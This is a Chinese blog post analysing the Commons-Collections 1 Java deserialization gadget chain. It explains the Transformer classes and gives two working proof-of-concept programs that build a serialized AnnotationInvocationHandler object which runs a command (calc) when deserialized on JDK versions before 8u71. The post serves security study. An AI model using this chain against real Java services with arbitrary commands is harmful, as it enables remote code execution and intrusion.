Commons-Collections1链分析

Commons-Collections1链分析,第1张

Commons-Collections1链分析

条件限制:

​JDK版本:jdk1.8以前(8u71之后已修复不可利用)
CC版本:Commons-Collections 3.1-3.2.1

环境搭建:


        
            commons-collections
            commons-collections
            3.1
        
    

首先我们分析一下类函数,也就是cc1链条中所用到的函数
Transformer
源码:

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

可以看到Transformer接口只有一个transform方法,之后所有继承该接口的类都需要实现这个方法。
官方文档的意思:
大致意思就是会将传入的object进行转换,然后返回转换后的object。还是有点抽象,不过没关系,先放着接下来再根据继承该接口的类进行具体分析。
ConstantTransformer
部分源码:

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

public Object transform(Object input) {
    return this.iConstant;
}

ConstantTransformer类当中的transform方法就是将初始化时传入的对象返回
InvokerTransformer
部分源码:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

InvokerTransformer类的构造函数传入三个参数——方法名,参数类型数组,参数数组。在transform方法中通过反射机制调用传入某个类的方法,而调用的方法及其所需要的参数都在构造函数中进行了赋值,最终返回该方法的执行结果。
ChainedTransformer
部分源码:

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

ChainedTransformer类利用之前构造方法传入的transformers数组通过循环的方式调用每个元素的trandsform方法,将得到的结果传入下一次循环的transform方法中。

那么这样我们可以利用ChainedTransformer将ConstantTransformer和InvokerTransformer的transform方法串起来。通过ConstantTransformer返回某个类,交给InvokerTransformer去调用类中的某个方法。
TrandsformedMap
部分源码:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

protected Object transformKey(Object object) {
    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}

TransformedMap的decorate方法根据传入的参数重新实例化一个TransformedMap对象,再看put方法的源码,不管是key还是value都会间接调用transform方法,而这里的this.valueTransformer也就是transformerChain,从而启动整个链子。
本地test1

package org.example.cc;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;
public class Cc1Demo1 {
    public static void main(String[] args) {
        //构建一个transformer的数组
        Transformer[] transformers = new Transformer[] {
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //调用getMethod方法
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                //调用invoke方法
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                //调用exec方法
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        //将transformers数组传入ChainedTransformer类
        Transformer transformerChain = new ChainedTransformer(transformers);
        //创建Map并绑定transformerChain
        Map innerMap = new HashMap();
        //包装innerMap
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //触发回调
        outerMap.put("test1", "xxxx");
    }
}

代码分析:
片段1:

Transformer transformerChain = new ChainedTransformer(transformers);

将transformers数组传入ChainedTransformer类,当调用ChainedTransformer的transformer方法时,会对transformers数组进行一系列回调:

将ConstantTransformer返回的Runtime.class传给第一个InvokerTransformer;
将第一个InvokerTransformer返回的(Runtime.class).getMethod("getRuntime",null)传给第二个InvokerTransformer;
将第二个InvokerTransformer返回的((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)传给第三个InvokerTransformer;
(((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)).exec("calc")是第三个InvokerTransformer的返回值。

上面对ChainedTransformer类的分析也说了,ChainedTransformer类利用之前构造方法传入的transformers数组通过循环的方式调用每个元素的trandsform方法,将得到的结果传入下一次循环的transform方法中。



片段2:

 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
 outerMap.put("test1", "xxxx");

TransformedMap的decorate方法根据传入的参数重新实例化一个TransformedMap对象

触发是在对put的时候的transformValue方法

跟进代码:

这里valueTransformer.transform(object);回去执行重写后的transform方法,这里调用了valueTransformer的transform方法,而valueTransformer就是我们传入的transformerChain,transformerChain又是ChainedTransformer的实例化对象,也就是成功调用了ChainedTransformer的transformer方法,从而实现 ChainedTransformer类 对transformers数组进行回调



链条简析:
Transformer是一个接口,ConstantTransformer和InvokerTransformer都是Transformer接口的实现类;
这里并不是new了一个接口,而是new了一个Transformer类型的数组,里面存储的是 Transformer的实现类对象。

然后使用ChainedTransformer对transformers 数组进行一系列回调;

将创建的innerMap和transformerChain传入TransformedMap.decorate;
最后要向Map中放入一个新元素,从而执行命令。

目前的分析只是一个demo代码,手动添加了put *** 作,但是在反序列化的 *** 作中我们需要找到一个类,直接或者间接的方式去调用类似于put的 *** 作。

本地test2
上次写到这里就结束了,今天分析完之后,来回补这个坑,反序列化的时候我们需要找到类来利用,达到put的效果,才能进行恶意利用。而sun.reflect.annotation.AnnotationInvocationHandler这个类恰巧能满足我们,下面给处poc,我们一起分析

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1Demo {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                // 包装对象
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null,}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null,}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("value", "xxxx");
        Map decorate = TransformedMap.decorate(map, null, chainedTransformer);



        // 'sun.reflect.annotation.AnnotationInvocationHandler' 在 'sun.reflect.annotation' 中不为 public。
        // 我们不能直接创建对象,需要利用反射获得对象
        Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        
        Object o = declaredConstructor.newInstance(Retention.class, decorate);
        // 序列化对象
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("cc1.ser")));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
        // 反序列化对象
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(new File("cc1.ser")));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

代码分为两部分,第一部分我们上面已经一起看过函数和重写后的Transformer函数,下面部分代码利用了反射原理,反射获取类库,反射获取私用构造方法,反射实例化,然后去序列化和反序列化。在反序列化的时候,AnnotationInvocationHandler类中重写了readObject函数,在它的readObject方法中调用了setValue方法,也就是说反序列化时会调用setValue方法,进而实现上面几部分代码。
我们debug调试readObject,在361行断点调试

进入setValue方法中,发现是AbstractInputCheckedMapDecorator类的setValue方法,而AbstractInputCheckedMapDecorator类呢,是TransformedMap的父类,跟进setValue方法

到了TransformedMap的checkSetValue方法,传入的对象是刚才的map,而这里的valueTransformer即 chainedTransformer,就达到了第一个案例分析的反射执行的效果。

还有几个小问题,比如反射实例化的时候为什么用Retention这个类,为什么传给 ConstantTransformer 的是 Runtime.class,而不直接传入 Runtime.getRuntime(),文章先写到这,再有时间再回来补坑。
question1
反射实例化的时候为什么用Retention这个类

AnnotationInvocationHandler是 JDK 内部类,不能直接实例化;
AnnotationInvocationHandler的readObject需要使得var7 != null
	var7不为null需要满足以下两个条件:
	第一个参数必须是Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设方法名为X
	被TransformedMap.decorate修饰的Map中必须有⼀个键名为X的元素

question2
为什么传给 ConstantTransformer 的是 Runtime.class,而不直接传入 Runtime.getRuntime()
answer:这是因为在 Java 反序列化中,需要反序列化的对象必须实现java.io.Serializable接口,而Runtime类并没有实现该接口,所以这里得用反射的方式获取Runtime对象,而 POC 当中的 Runtime.class是java.lang.Class对象,该类实现了java.io.Serializable接口

这个POC只有在Java 8u71以前的版本中才能执行成功,Java 8u71以后的版本由于sun.reflect.annotation.AnnotationInvocationHandler发⽣了变化导致不再可⽤;
在ysoserial的代码中,没有⽤到上面POC的TransformedMap,而是改用了了LazyMap。

参考:
https://blog.csdn.net/qq_41918771/article/details/115242949?spm=1001.2014.3001.5501
https://xz.aliyun.com/t/10357

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5696646.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存